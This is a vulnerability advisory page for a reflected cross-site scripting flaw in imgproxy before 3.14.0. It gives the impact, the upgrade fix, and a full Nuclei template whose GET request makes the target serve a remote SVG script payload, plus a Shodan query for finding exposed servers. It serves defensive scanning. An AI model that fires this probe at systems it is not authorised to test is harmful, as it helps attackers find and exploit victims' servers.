Imgproxy < 3.14.0 - Cross-site Scripting (XSS)

mediumseverity

5.4CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/unsafe/plain/https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg
Positive when: contains "alert(document.domain);" and "<?xml version" and "<script type=\"text/javascript\">" AND not contains in header "Content-Security-Policy: default-src 'none';" AND status 200

Run it with nuclei: nuclei -id CVE-2023-1496 -u <target>

The full check

id: CVE-2023-1496

info:
  name: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)
  author: pdteam
  severity: medium
  description: Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689
    - https://huntr.dev/bounties/de603972-935a-401a-96fb-17ddadd282b2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1496
    cwe-id: CWE-79
    epss-score: 0.01585
    epss-percentile: 0.75788
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,huntr,imgproxy,xss,svg,evilmartians,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/unsafe/plain/https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain);"
          - "<?xml version"
          - '<script type="text/javascript">'
        condition: and

      - type: word
        part: header
        words:
          - "Content-Security-Policy: default-src 'none';"
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from